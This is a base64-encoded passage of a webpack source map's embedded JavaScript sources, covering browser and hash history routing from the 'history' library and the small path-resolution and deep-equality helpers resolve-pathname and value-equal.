IGNhbm5vdCBwdXNoIHN0YXRlIGluIGJyb3dzZXJzIHRoYXQgZG8gbm90IHN1cHBvcnQgSFRNTDUgaGlzdG9yeScpO1xuXG4gICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmID0gaHJlZjtcbiAgICAgIH1cbiAgICB9KTtcbiAgfTtcblxuICB2YXIgcmVwbGFjZSA9IGZ1bmN0aW9uIHJlcGxhY2UocGF0aCwgc3RhdGUpIHtcbiAgICB3YXJuaW5nKCEoKHR5cGVvZiBwYXRoID09PSAndW5kZWZpbmVkJyA/ICd1bmRlZmluZWQnIDogX3R5cGVvZihwYXRoKSkgPT09ICdvYmplY3QnICYmIHBhdGguc3RhdGUgIT09IHVuZGVmaW5lZCAmJiBzdGF0ZSAhPT0gdW5kZWZpbmVkKSwgJ1lvdSBzaG91bGQgYXZvaWQgcHJvdmlkaW5nIGEgMm5kIHN0YXRlIGFyZ3VtZW50IHRvIHJlcGxhY2Ugd2hlbiB0aGUgMXN0ICcgKyAnYXJndW1lbnQgaXMgYSBsb2NhdGlvbi1saWtlIG9iamVjdCB0aGF0IGFscmVhZHkgaGFzIHN0YXRlOyBpdCBpcyBpZ25vcmVkJyk7XG5cbiAgICB2YXIgYWN0aW9uID0gJ1JFUExBQ0UnO1xuICAgIHZhciBsb2NhdGlvbiA9IGNyZWF0ZUxvY2F0aW9uKHBhdGgsIHN0YXRlLCBjcmVhdGVLZXkoKSwgaGlzdG9yeS5sb2NhdGlvbik7XG5cbiAgICB0cmFuc2l0aW9uTWFuYWdlci5jb25maXJtVHJhbnNpdGlvblRvKGxvY2F0aW9uLCBhY3Rpb24sIGdldFVzZXJDb25maXJtYXRpb24sIGZ1bmN0aW9uIChvaykge1xuICAgICAgaWYgKCFvaykgcmV0dXJuO1xuXG4gICAgICB2YXIgaHJlZiA9IGNyZWF0ZUhyZWYobG9jYXRpb24pO1xuICAgICAgdmFyIGtleSA9IGxvY2F0aW9uLmtleSxcbiAgICAgICAgICBzdGF0ZSA9IGxvY2F0aW9uLnN0YXRlO1xuXG5cbiAgICAgIGlmIChjYW5Vc2VIaXN0b3J5KSB7XG4gICAgICAgIGdsb2JhbEhpc3RvcnkucmVwbGFjZVN0YXRlKHsga2V5OiBrZXksIHN0YXRlOiBzdGF0ZSB9LCBudWxsLCBocmVmKTtcblxuICAgICAgICBpZiAoZm9yY2VSZWZyZXNoKSB7XG4gICAgICAgICAgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoaHJlZik7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgdmFyIHByZXZJbmRleCA9IGFsbEtleXMuaW5kZXhPZihoaXN0b3J5LmxvY2F0aW9uLmtleSk7XG5cbiAgICAgICAgICBpZiAocHJldkluZGV4ICE9PSAtMSkgYWxsS2V5c1twcmV2SW5kZXhdID0gbG9jYXRpb24ua2V5O1xuXG4gICAgICAgICAgc2V0U3RhdGUoeyBhY3Rpb246IGFjdGlvbiwgbG9jYXRpb246IGxvY2F0aW9uIH0pO1xuICAgICAgICB9XG4gICAgICB9IGVsc2Uge1xuICAgICAgICB3YXJuaW5nKHN0YXRlID09PSB1bmRlZmluZWQsICdCcm93c2VyIGhpc3RvcnkgY2Fubm90IHJlcGxhY2Ugc3RhdGUgaW4gYnJvd3NlcnMgdGhhdCBkbyBub3Qgc3VwcG9ydCBIVE1MNSBoaXN0b3J5Jyk7XG5cbiAgICAgICAgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoaHJlZik7XG4gICAgICB9XG4gICAgfSk7XG4gIH07XG5cbiAgdmFyIGdvID0gZnVuY3Rpb24gZ28obikge1xuICAgIGdsb2JhbEhpc3RvcnkuZ28obik7XG4gIH07XG5cbiAgdmFyIGdvQmFjayA9IGZ1bmN0aW9uIGdvQmFjaygpIHtcbiAgICByZXR1cm4gZ28oLTEpO1xuICB9O1xuXG4gIHZhciBnb0ZvcndhcmQgPSBmdW5jdGlvbiBnb0ZvcndhcmQoKSB7XG4gICAgcmV0dXJuIGdvKDEpO1xuICB9O1xuXG4gIHZhciBsaXN0ZW5lckNvdW50ID0gMDtcblxuICB2YXIgY2hlY2tET01MaXN0ZW5lcnMgPSBmdW5jdGlvbiBjaGVja0RPTUxpc3RlbmVycyhkZWx0YSkge1xuICAgIGxpc3RlbmVyQ291bnQgKz0gZGVsdGE7XG5cbiAgICBpZiAobGlzdGVuZXJDb3VudCA9PT0gMSkge1xuICAgICAgYWRkRXZlbnRMaXN0ZW5lcih3aW5kb3csIFBvcFN0YXRlRXZlbnQsIGhhbmRsZVBvcFN0YXRlKTtcblxuICAgICAgaWYgKG5lZWRzSGFzaENoYW5nZUxpc3RlbmVyKSBhZGRFdmVudExpc3RlbmVyKHdpbmRvdywgSGFzaENoYW5nZUV2ZW50LCBoYW5kbGVIYXNoQ2hhbmdlKTtcbiAgICB9IGVsc2UgaWYgKGxpc3RlbmVyQ291bnQgPT09IDApIHtcbiAgICAgIHJlbW92ZUV2ZW50TGlzdGVuZXIod2luZG93LCBQb3BTdGF0ZUV2ZW50LCBoYW5kbGVQb3BTdGF0ZSk7XG5cbiAgICAgIGlmIChuZWVkc0hhc2hDaGFuZ2VMaXN0ZW5lcikgcmVtb3ZlRXZlbnRMaXN0ZW5lcih3aW5kb3csIEhhc2hDaGFuZ2VFdmVudCwgaGFuZGxlSGFzaENoYW5nZSk7XG4gICAgfVxuICB9O1xuXG4gIHZhciBpc0Jsb2NrZWQgPSBmYWxzZTtcblxuICB2YXIgYmxvY2sgPSBmdW5jdGlvbiBibG9jaygpIHtcbiAgICB2YXIgcHJvbXB0ID0gYXJndW1lbnRzLmxlbmd0aCA+IDAgJiYgYXJndW1lbnRzWzBdICE9PSB1bmRlZmluZWQgPyBhcmd1bWVudHNbMF0gOiBmYWxzZTtcblxuICAgIHZhciB1bmJsb2NrID0gdHJhbnNpdGlvbk1hbmFnZXIuc2V0UHJvbXB0KHByb21wdCk7XG5cbiAgICBpZiAoIWlzQmxvY2tlZCkge1xuICAgICAgY2hlY2tET01MaXN0ZW5lcnMoMSk7XG4gICAgICBpc0Jsb2NrZWQgPSB0cnVlO1xuICAgIH1cblxuICAgIHJldHVybiBmdW5jdGlvbiAoKSB7XG4gICAgICBpZiAoaXNCbG9ja2VkKSB7XG4gICAgICAgIGlzQmxvY2tlZCA9IGZhbHNlO1xuICAgICAgICBjaGVja0RPTUxpc3RlbmVycygtMSk7XG4gICAgICB9XG5cbiAgICAgIHJldHVybiB1bmJsb2NrKCk7XG4gICAgfTtcbiAgfTtcblxuICB2YXIgbGlzdGVuID0gZnVuY3Rpb24gbGlzdGVuKGxpc3RlbmVyKSB7XG4gICAgdmFyIHVubGlzdGVuID0gdHJhbnNpdGlvbk1hbmFnZXIuYXBwZW5kTGlzdGVuZXIobGlzdGVuZXIpO1xuICAgIGNoZWNrRE9NTGlzdGVuZXJzKDEpO1xuXG4gICAgcmV0dXJuIGZ1bmN0aW9uICgpIHtcbiAgICAgIGNoZWNrRE9NTGlzdGVuZXJzKC0xKTtcbiAgICAgIHVubGlzdGVuKCk7XG4gICAgfTtcbiAgfTtcblxuICB2YXIgaGlzdG9yeSA9IHtcbiAgICBsZW5ndGg6IGdsb2JhbEhpc3RvcnkubGVuZ3RoLFxuICAgIGFjdGlvbjogJ1BPUCcsXG4gICAgbG9jYXRpb246IGluaXRpYWxMb2NhdGlvbixcbiAgICBjcmVhdGVIcmVmOiBjcmVhdGVIcmVmLFxuICAgIHB1c2g6IHB1c2gsXG4gICAgcmVwbGFjZTogcmVwbGFjZSxcbiAgICBnbzogZ28sXG4gICAgZ29CYWNrOiBnb0JhY2ssXG4gICAgZ29Gb3J3YXJkOiBnb0ZvcndhcmQsXG4gICAgYmxvY2s6IGJsb2NrLFxuICAgIGxpc3RlbjogbGlzdGVuXG4gIH07XG5cbiAgcmV0dXJuIGhpc3Rvcnk7XG59O1xuXG5leHBvcnQgZGVmYXVsdCBjcmVhdGVCcm93c2VySGlzdG9yeTtcblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9oaXN0b3J5L2VzL2NyZWF0ZUJyb3dzZXJIaXN0b3J5LmpzXG4vLyBtb2R1bGUgaWQgPSAxNDBcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJmdW5jdGlvbiBpc0Fic29sdXRlKHBhdGhuYW1lKSB7XG4gIHJldHVybiBwYXRobmFtZS5jaGFyQXQoMCkgPT09ICcvJztcbn1cblxuLy8gQWJvdXQgMS41eCBmYXN0ZXIgdGhhbiB0aGUgdHdvLWFyZyB2ZXJzaW9uIG9mIEFycmF5I3NwbGljZSgpXG5mdW5jdGlvbiBzcGxpY2VPbmUobGlzdCwgaW5kZXgpIHtcbiAgZm9yICh2YXIgaSA9IGluZGV4LCBrID0gaSArIDEsIG4gPSBsaXN0Lmxlbmd0aDsgayA8IG47IGkgKz0gMSwgayArPSAxKSB7XG4gICAgbGlzdFtpXSA9IGxpc3Rba107XG4gIH1cblxuICBsaXN0LnBvcCgpO1xufVxuXG4vLyBUaGlzIGltcGxlbWVudGF0aW9uIGlzIGJhc2VkIGhlYXZpbHkgb24gbm9kZSdzIHVybC5wYXJzZVxuZnVuY3Rpb24gcmVzb2x2ZVBhdGhuYW1lKHRvKSB7XG4gIHZhciBmcm9tID0gYXJndW1lbnRzLmxlbmd0aCA+IDEgJiYgYXJndW1lbnRzWzFdICE9PSB1bmRlZmluZWQgPyBhcmd1bWVudHNbMV0gOiAnJztcblxuICB2YXIgdG9QYXJ0cyA9IHRvICYmIHRvLnNwbGl0KCcvJykgfHwgW107XG4gIHZhciBmcm9tUGFydHMgPSBmcm9tICYmIGZyb20uc3BsaXQoJy8nKSB8fCBbXTtcblxuICB2YXIgaXNUb0FicyA9IHRvICYmIGlzQWJzb2x1dGUodG8pO1xuICB2YXIgaXNGcm9tQWJzID0gZnJvbSAmJiBpc0Fic29sdXRlKGZyb20pO1xuICB2YXIgbXVzdEVuZEFicyA9IGlzVG9BYnMgfHwgaXNGcm9tQWJzO1xuXG4gIGlmICh0byAmJiBpc0Fic29sdXRlKHRvKSkge1xuICAgIC8vIHRvIGlzIGFic29sdXRlXG4gICAgZnJvbVBhcnRzID0gdG9QYXJ0cztcbiAgfSBlbHNlIGlmICh0b1BhcnRzLmxlbmd0aCkge1xuICAgIC8vIHRvIGlzIHJlbGF0aXZlLCBkcm9wIHRoZSBmaWxlbmFtZVxuICAgIGZyb21QYXJ0cy5wb3AoKTtcbiAgICBmcm9tUGFydHMgPSBmcm9tUGFydHMuY29uY2F0KHRvUGFydHMpO1xuICB9XG5cbiAgaWYgKCFmcm9tUGFydHMubGVuZ3RoKSByZXR1cm4gJy8nO1xuXG4gIHZhciBoYXNUcmFpbGluZ1NsYXNoID0gdm9pZCAwO1xuICBpZiAoZnJvbVBhcnRzLmxlbmd0aCkge1xuICAgIHZhciBsYXN0ID0gZnJvbVBhcnRzW2Zyb21QYXJ0cy5sZW5ndGggLSAxXTtcbiAgICBoYXNUcmFpbGluZ1NsYXNoID0gbGFzdCA9PT0gJy4nIHx8IGxhc3QgPT09ICcuLicgfHwgbGFzdCA9PT0gJyc7XG4gIH0gZWxzZSB7XG4gICAgaGFzVHJhaWxpbmdTbGFzaCA9IGZhbHNlO1xuICB9XG5cbiAgdmFyIHVwID0gMDtcbiAgZm9yICh2YXIgaSA9IGZyb21QYXJ0cy5sZW5ndGg7IGkgPj0gMDsgaS0tKSB7XG4gICAgdmFyIHBhcnQgPSBmcm9tUGFydHNbaV07XG5cbiAgICBpZiAocGFydCA9PT0gJy4nKSB7XG4gICAgICBzcGxpY2VPbmUoZnJvbVBhcnRzLCBpKTtcbiAgICB9IGVsc2UgaWYgKHBhcnQgPT09ICcuLicpIHtcbiAgICAgIHNwbGljZU9uZShmcm9tUGFydHMsIGkpO1xuICAgICAgdXArKztcbiAgICB9IGVsc2UgaWYgKHVwKSB7XG4gICAgICBzcGxpY2VPbmUoZnJvbVBhcnRzLCBpKTtcbiAgICAgIHVwLS07XG4gICAgfVxuICB9XG5cbiAgaWYgKCFtdXN0RW5kQWJzKSBmb3IgKDsgdXAtLTsgdXApIHtcbiAgICBmcm9tUGFydHMudW5zaGlmdCgnLi4nKTtcbiAgfWlmIChtdXN0RW5kQWJzICYmIGZyb21QYXJ0c1swXSAhPT0gJycgJiYgKCFmcm9tUGFydHNbMF0gfHwgIWlzQWJzb2x1dGUoZnJvbVBhcnRzWzBdKSkpIGZyb21QYXJ0cy51bnNoaWZ0KCcnKTtcblxuICB2YXIgcmVzdWx0ID0gZnJvbVBhcnRzLmpvaW4oJy8nKTtcblxuICBpZiAoaGFzVHJhaWxpbmdTbGFzaCAmJiByZXN1bHQuc3Vic3RyKC0xKSAhPT0gJy8nKSByZXN1bHQgKz0gJy8nO1xuXG4gIHJldHVybiByZXN1bHQ7XG59XG5cbmV4cG9ydCBkZWZhdWx0IHJlc29sdmVQYXRobmFtZTtcblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9yZXNvbHZlLXBhdGhuYW1lL2luZGV4LmpzXG4vLyBtb2R1bGUgaWQgPSAxNDFcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJ2YXIgX3R5cGVvZiA9IHR5cGVvZiBTeW1ib2wgPT09IFwiZnVuY3Rpb25cIiAmJiB0eXBlb2YgU3ltYm9sLml0ZXJhdG9yID09PSBcInN5bWJvbFwiID8gZnVuY3Rpb24gKG9iaikgeyByZXR1cm4gdHlwZW9mIG9iajsgfSA6IGZ1bmN0aW9uIChvYmopIHsgcmV0dXJuIG9iaiAmJiB0eXBlb2YgU3ltYm9sID09PSBcImZ1bmN0aW9uXCIgJiYgb2JqLmNvbnN0cnVjdG9yID09PSBTeW1ib2wgJiYgb2JqICE9PSBTeW1ib2wucHJvdG90eXBlID8gXCJzeW1ib2xcIiA6IHR5cGVvZiBvYmo7IH07XG5cbmZ1bmN0aW9uIHZhbHVlRXF1YWwoYSwgYikge1xuICBpZiAoYSA9PT0gYikgcmV0dXJuIHRydWU7XG5cbiAgaWYgKGEgPT0gbnVsbCB8fCBiID09IG51bGwpIHJldHVybiBmYWxzZTtcblxuICBpZiAoQXJyYXkuaXNBcnJheShhKSkge1xuICAgIHJldHVybiBBcnJheS5pc0FycmF5KGIpICYmIGEubGVuZ3RoID09PSBiLmxlbmd0aCAmJiBhLmV2ZXJ5KGZ1bmN0aW9uIChpdGVtLCBpbmRleCkge1xuICAgICAgcmV0dXJuIHZhbHVlRXF1YWwoaXRlbSwgYltpbmRleF0pO1xuICAgIH0pO1xuICB9XG5cbiAgdmFyIGFUeXBlID0gdHlwZW9mIGEgPT09ICd1bmRlZmluZWQnID8gJ3VuZGVmaW5lZCcgOiBfdHlwZW9mKGEpO1xuICB2YXIgYlR5cGUgPSB0eXBlb2YgYiA9PT0gJ3VuZGVmaW5lZCcgPyAndW5kZWZpbmVkJyA6IF90eXBlb2YoYik7XG5cbiAgaWYgKGFUeXBlICE9PSBiVHlwZSkgcmV0dXJuIGZhbHNlO1xuXG4gIGlmIChhVHlwZSA9PT0gJ29iamVjdCcpIHtcbiAgICB2YXIgYVZhbHVlID0gYS52YWx1ZU9mKCk7XG4gICAgdmFyIGJWYWx1ZSA9IGIudmFsdWVPZigpO1xuXG4gICAgaWYgKGFWYWx1ZSAhPT0gYSB8fCBiVmFsdWUgIT09IGIpIHJldHVybiB2YWx1ZUVxdWFsKGFWYWx1ZSwgYlZhbHVlKTtcblxuICAgIHZhciBhS2V5cyA9IE9iamVjdC5rZXlzKGEpO1xuICAgIHZhciBiS2V5cyA9IE9iamVjdC5rZXlzKGIpO1xuXG4gICAgaWYgKGFLZXlzLmxlbmd0aCAhPT0gYktleXMubGVuZ3RoKSByZXR1cm4gZmFsc2U7XG5cbiAgICByZXR1cm4gYUtleXMuZXZlcnkoZnVuY3Rpb24gKGtleSkge1xuICAgICAgcmV0dXJuIHZhbHVlRXF1YWwoYVtrZXldLCBiW2tleV0pO1xuICAgIH0pO1xuICB9XG5cbiAgcmV0dXJuIGZhbHNlO1xufVxuXG5leHBvcnQgZGVmYXVsdCB2YWx1ZUVxdWFsO1xuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL3ZhbHVlLWVxdWFsL2luZGV4LmpzXG4vLyBtb2R1bGUgaWQgPSAxNDJcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJ2YXIgX2V4dGVuZHMgPSBPYmplY3QuYXNzaWduIHx8IGZ1bmN0aW9uICh0YXJnZXQpIHsgZm9yICh2YXIgaSA9IDE7IGkgPCBhcmd1bWVudHMubGVuZ3RoOyBpKyspIHsgdmFyIHNvdXJjZSA9IGFyZ3VtZW50c1tpXTsgZm9yICh2YXIga2V5IGluIHNvdXJjZSkgeyBpZiAoT2JqZWN0LnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eS5jYWxsKHNvdXJjZSwga2V5KSkgeyB0YXJnZXRba2V5XSA9IHNvdXJjZVtrZXldOyB9IH0gfSByZXR1cm4gdGFyZ2V0OyB9O1xuXG5pbXBvcnQgd2FybmluZyBmcm9tICd3YXJuaW5nJztcbmltcG9ydCBpbnZhcmlhbnQgZnJvbSAnaW52YXJpYW50JztcbmltcG9ydCB7IGNyZWF0ZUxvY2F0aW9uLCBsb2NhdGlvbnNBcmVFcXVhbCB9IGZyb20gJy4vTG9jYXRpb25VdGlscyc7XG5pbXBvcnQgeyBhZGRMZWFkaW5nU2xhc2gsIHN0cmlwTGVhZGluZ1NsYXNoLCBzdHJpcFRyYWlsaW5nU2xhc2gsIGhhc0Jhc2VuYW1lLCBzdHJpcEJhc2VuYW1lLCBjcmVhdGVQYXRoIH0gZnJvbSAnLi9QYXRoVXRpbHMnO1xuaW1wb3J0IGNyZWF0ZVRyYW5zaXRpb25NYW5hZ2VyIGZyb20gJy4vY3JlYXRlVHJhbnNpdGlvbk1hbmFnZXInO1xuaW1wb3J0IHsgY2FuVXNlRE9NLCBhZGRFdmVudExpc3RlbmVyLCByZW1vdmVFdmVudExpc3RlbmVyLCBnZXRDb25maXJtYXRpb24sIHN1cHBvcnRzR29XaXRob3V0UmVsb2FkVXNpbmdIYXNoIH0gZnJvbSAnLi9ET01VdGlscyc7XG5cbnZhciBIYXNoQ2hhbmdlRXZlbnQgPSAnaGFzaGNoYW5nZSc7XG5cbnZhciBIYXNoUGF0aENvZGVycyA9IHtcbiAgaGFzaGJhbmc6IHtcbiAgICBlbmNvZGVQYXRoOiBmdW5jdGlvbiBlbmNvZGVQYXRoKHBhdGgpIHtcbiAgICAgIHJldHVybiBwYXRoLmNoYXJBdCgwKSA9PT0gJyEnID8gcGF0aCA6ICchLycgKyBzdHJpcExlYWRpbmdTbGFzaChwYXRoKTtcbiAgICB9LFxuICAgIGRlY29kZVBhdGg6IGZ1bmN0aW9uIGRlY29kZVBhdGgocGF0aCkge1xuICAgICAgcmV0dXJuIHBhdGguY2hhckF0KDApID09PSAnIScgPyBwYXRoLnN1YnN0cigxKSA6IHBhdGg7XG4gICAgfVxuICB9LFxuICBub3NsYXNoOiB7XG4gICAgZW5jb2RlUGF0aDogc3RyaXBMZWFkaW5nU2xhc2gsXG4gICAgZGVjb2RlUGF0aDogYWRkTGVhZGluZ1NsYXNoXG4gIH0sXG4gIHNsYXNoOiB7XG4gICAgZW5jb2RlUGF0aDogYWRkTGVhZGluZ1NsYXNoLFxuICAgIGRlY29kZVBhdGg6IGFkZExlYWRpbmdTbGFzaFxuICB9XG59O1xuXG52YXIgZ2V0SGFzaFBhdGggPSBmdW5jdGlvbiBnZXRIYXNoUGF0aCgpIHtcbiAgLy8gV2UgY2FuJ3QgdXNlIHdpbmRvdy5sb2NhdGlvbi5oYXNoIGhlcmUgYmVjYXVzZSBpdCdzIG5vdFxuICAvLyBjb25zaXN0ZW50IGFjcm9zcyBicm93c2VycyAtIEZpcmVmb3ggd2lsbCBwcmUtZGVjb2RlIGl0IVxuICB2YXIgaHJlZiA9IHdpbmRvdy5sb2NhdGlvbi5ocmVmO1xuICB2YXIgaGFzaEluZGV4ID0gaHJlZi5pbmRleE9mKCcjJyk7XG4gIHJldHVybiBoYXNoSW5kZXggPT09IC0xID8gJycgOiBocmVmLnN1YnN0cmluZyhoYXNoSW5kZXggKyAxKTtcbn07XG5cbnZhciBwdXNoSGFzaFBhdGggPSBmdW5jdGlvbiBwdXNoSGFzaFBhdGgocGF0aCkge1xuICByZXR1cm4gd2luZG93LmxvY2F0aW9uLmhhc2ggPSBwYXRoO1xufTtcblxudmFyIHJlcGxhY2VIYXNoUGF0aCA9IGZ1bmN0aW9uIHJlcGxhY2VIYXNoUGF0aChwYXRoKSB7XG4gIHZhciBoYXNoSW5kZXggPSB3aW5kb3cubG9jYXRpb24uaHJlZi5pbmRleE9mKCcjJyk7XG5cbiAgd2luZG93LmxvY2F0aW9uLnJlcGxhY2Uod2luZG93LmxvY2F0aW9uLmhyZWYuc2xpY2UoMCwgaGFzaEluZGV4ID49IDAgPyBoYXNoSW5kZXggOiAwKSArICcjJyArIHBhdGgpO1xufTtcblxudmFyIGNyZWF0ZUhhc2hIaXN0b3J5ID0gZnVuY3Rpb24gY3JlYXRlSGFzaEhpc3RvcnkoKSB7XG4gIHZhciBwcm9wcyA9IGFyZ3VtZW50cy5sZW5ndGggPiAwICYmIGFyZ3VtZW50c1swXSAhPT0gdW5kZWZpbmVkID8gYXJndW1lbnRzWzBdIDoge307XG5cbiAgaW52YXJpYW50KGNhblVzZURPTSwgJ0hhc2ggaGlzdG9yeSBuZWVkcyBhIERPTScpO1xuXG4gIHZhciBnbG9iYWxIaXN0b3J5ID0gd2luZG93Lmhpc3Rvcnk7XG4gIHZhciBjYW5Hb1dpdGhvdXRSZWxvYWQgPSBzdXBwb3J0c0dvV2l0aG91dFJlbG9hZFVzaW5nSGFzaCgpO1xuXG4gIHZhciBfcHJvcHMkZ2V0VXNlckNvbmZpcm0gPSBwcm9wcy5nZXRVc2VyQ29uZmlybWF0aW9uLFxuICAgICAgZ2V0VXNlckNvbmZpcm1hdGlvbiA9IF9wcm9wcyRnZXRVc2VyQ29uZmlybSA9PT0gdW5kZWZpbmVkID8gZ2V0Q29uZmlybWF0aW9uIDogX3Byb3BzJGdldFVzZXJDb25maXJtLFxuICAgICAgX3Byb3BzJGhhc2hUeXBlID0gcHJvcHMuaGFzaFR5cGUsXG4gICAgICBoYXNoVHlwZSA9IF9wcm9wcyRoYXNoVHlwZSA9PT0gdW5kZWZpbmVkID8gJ3NsYXNoJyA6IF9wcm9wcyRoYXNoVHlwZTtcblxuICB2YXIgYmFzZW5hbWUgPSBwcm9wcy5iYXNlbmFtZSA/IHN0cmlwVHJhaWxpbmdTbGFzaChhZGRMZWFkaW5nU2xhc2gocHJvcHMuYmFzZW5hbWUpKSA6ICcnO1xuXG4gIHZhciBfSGFzaFBhdGhDb2RlcnMkaGFzaFQgPSBIYXNoUGF0aENvZGVyc1toYXNoVHlwZV0sXG4gICAgICBlbmNvZGVQYXRoID0gX0hhc2hQYXRoQ29kZXJzJGhhc2hULmVuY29kZVBhdGgsXG4gICAgICBkZWNvZGVQYXRoID0gX0hhc2hQYXRoQ29kZXJzJGhhc2hULmRlY29kZVBhdGg7XG5cblxuICB2YXIgZ2V0RE9NTG9jYXRpb24gPSBmdW5jdGlvbiBnZXRET01Mb2NhdGlvbigpIHtcbiAgICB2YXIgcGF0aCA9IGRlY29kZVBhdGgoZ2V0SGFzaFBhdGgoKSk7XG5cbiAgICB3YXJuaW5nKCFiYXNlbmFtZSB8fCBoYXNCYXNlbmFtZShwYXRoLCBiYXNlbmFtZSksICdZb3UgYXJlIGF0dGVtcHRpbmcgdG8gdXNlIGEgYmFzZW5hbWUgb24gYSBwYWdlIHdob3NlIFVSTCBwYXRoIGRvZXMgbm90IGJlZ2luICcgKyAnd2l0aCB0aGUgYmFzZW5hbWUuIEV4cGVjdGVkIHBhdGggXCInICsgcGF0aCArICdcIiB0byBiZWdpbiB3aXRoIFwiJyArIGJhc2VuYW1lICsgJ1wiLicpO1xuXG4gICAgaWYgKGJhc2VuYW1lKSBwYXRoID0gc3RyaXBCYXNlbmFtZShwYXRoLCBiYXNlbmFtZSk7XG5cbiAgICByZXR1cm4gY3JlYXRlTG9jYXRpb24ocGF0aCk7XG4gIH07XG5cbiAgdmFyIHRyYW5zaXRpb25NYW5hZ2VyID0gY3JlYXRlVHJhbnNpdGlvbk1hbmFnZXIoKTtcblxuICB2YXIgc2V0U3RhdGUgPSBmdW5jdGlvbiBzZXRTdGF0ZShuZXh0U3RhdGUpIHtcbiAgICBfZXh0ZW5kcyhoaXN0b3J5LCBuZXh0U3RhdGUpO1xuXG4gICAgaGlzdG9yeS5sZW5ndGggPSBnbG9iYWxIaXN0b3J5Lmxlbmd0aDtcblxuICAgIHRyYW5zaXRpb25NYW5hZ2VyLm5vdGlmeUxpc3RlbmVycyhoaXN0b3J5LmxvY2F0aW9uLCBoaXN0b3J5LmFjdGlvbik7XG4gIH07XG5cbiAgdmFyIGZvcmNlTmV4dFBvcCA9IGZhbHNlO1xuICB2YXIgaWdub3JlUGF0aCA9IG51bGw7XG5cbiAgdmFyIGhhbmRsZUhhc2hDaGFuZ2UgPSBmdW5jdGlvbiBoYW5kbGVIYXNoQ2hhbmdlKCkge1xuICAgIHZhciBwYXRoID0gZ2V0SGFzaFBhdGgoKTtcbiAgICB2YXIgZW5jb2RlZFBhdGggPSBlbmNvZGVQYXRoKHBhdGgpO1xuXG4gICAgaWYgKHBhdGggIT09IGVuY29kZWRQYXRoKSB7XG4gICAgICAvLyBFbnN1cmUgd2UgYWx3YXlzIGhhdmUgYSBwcm9wZXJseS1lbmNvZGVkIGhhc2guXG4gICAgICByZXBsYWNlSGFzaFBhdGgoZW5jb2RlZFBhdGgpO1xuICAgIH0gZWxzZSB7XG4gICAgICB2YXIgbG9jYXRpb24gPSBnZXRET01Mb2NhdGlvbigpO1xuICAgICAgdmFyIHByZXZMb2NhdGlvbiA9IGhpc3RvcnkubG9jYXRpb247XG5cbiAgICAgIGlmICghZm9yY2VOZXh0UG9wICYmIGxvY2F0aW9uc0FyZUVxdWFsKHByZXZMb2NhdGlvbiwgbG9jYXRpb24pKSByZXR1cm47IC8vIEEgaGFzaGNoYW5nZSBkb2Vzbid0IGFsd2F5cyA9PSBsb2NhdGlvbiBjaGFuZ2UuXG5cbiAgICAgIGlmIChpZ25vcmVQYXRoID09PSBjcmVhdGVQYXRoKGxvY2F0aW9uKSkgcmV0dXJuOyAvLyBJZ25vcmUgdGhpcyBjaGFuZ2U7IHdlIGFscmVhZHkgc2V0U3RhdGUgaW4gcHVzaC9yZXBsYWNlLlxuXG4gICAgICBpZ25vcmVQYXRoID0gbnVsbDtcblxuICAgICAgaGFuZGxlUG9wKGxvY2F0aW9uKTtcbiAgICB9XG4gIH07XG5cbiAgdmFyIGhhbmRsZVBvcCA9IGZ1bmN0aW9uIGhhbmRsZVBvcChsb2NhdGlvbikge1xuICAgIGlmIChmb3JjZU5leHRQb3ApIHtcbiAgICAgIGZvcmNlTmV4dFBvcCA9IGZhbHNlO1xuICAgICAgc2V0U3RhdGUoKTtcbiAgICB9IGVsc2Uge1xuICAgICAgdmFyIGFjdGlvbiA9ICdQT1AnO1xuXG4gICAgICB0cmFuc2l0aW9uTWFuYWdlci5jb25maXJtVHJhbnNpdGlvblRvKGxvY2F0aW9uLCBhY3Rpb24sIGdldFVzZXJDb25maXJtYXRpb24sIGZ1bmN0aW9uIChvaykge1xuICAgICAgICBpZiAob2spIHtcbiAgICAgICAgICBzZXRTdGF0ZSh7IGFjdGlvbjogYWN0aW9uLCBsb2NhdGlvbjogbG9jYXRpb24gfSk7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgcmV2ZXJ0UG9wKGxvY2F0aW9uKTtcbiAgICAgICAgfVxuICAgICAgfSk7XG4gICAgfVxuICB9O1xuXG4gIHZhciByZXZlcnRQb3AgPSBmdW5jdGlvbiByZXZlcnRQb3AoZnJvbUxvY2F0aW9uKSB7XG4gICAgdmFyIHRvTG9jYXRpb24gPSBoaXN0b3J5LmxvY2F0aW9uO1xuXG4gICAgLy8gVE9ETzogV2UgY291bGQgcHJvYmFibHkgbWFrZSB0aGlzIG1vcmUgcmVsaWFibGUgYnlcbiAgICAvLyBrZWVwaW5nIGEgbGlzdCBvZiBwYXRocyB3ZSd2ZSBzZWVuIGluIHNlc3Npb25TdG9yYWdlLlxuICAgIC8vIEluc3RlYWQsIHdlIGp1c3QgZGVmYXVsdCB0byAwIGZvciBwYXRocyB3ZSBkb24ndCBrbm93LlxuXG4gICAgdmFyIHRvSW5kZXggPSBhbGxQYXRocy5sYXN0SW5kZXhPZihjcmVhdGVQYXRoKHRvTG9jYXRpb24pKTtcblxuICAgIGlmICh0b0luZGV4ID09PSAtMSkgdG9JbmRleCA9IDA7XG5cbiAgICB2YXIgZnJvbUluZGV4ID0gYWxsUGF0aHMubGFzdEluZGV4T2YoY3JlYXRlUGF0aChmcm9tTG9jYXRpb24pKTtcblxuICAgIGlmIChmcm9tSW5kZXggPT09IC0xKSBmcm9tSW5kZXggPSAwO1xuXG4gICAgdmFyIGRlbHRhID0gdG9JbmRleCAtIGZyb21JbmRleDtcblxuICAgIGlmIChkZWx0YSkge1xuICAgICAgZm9yY2VOZXh0UG9wID0gdHJ1ZTtc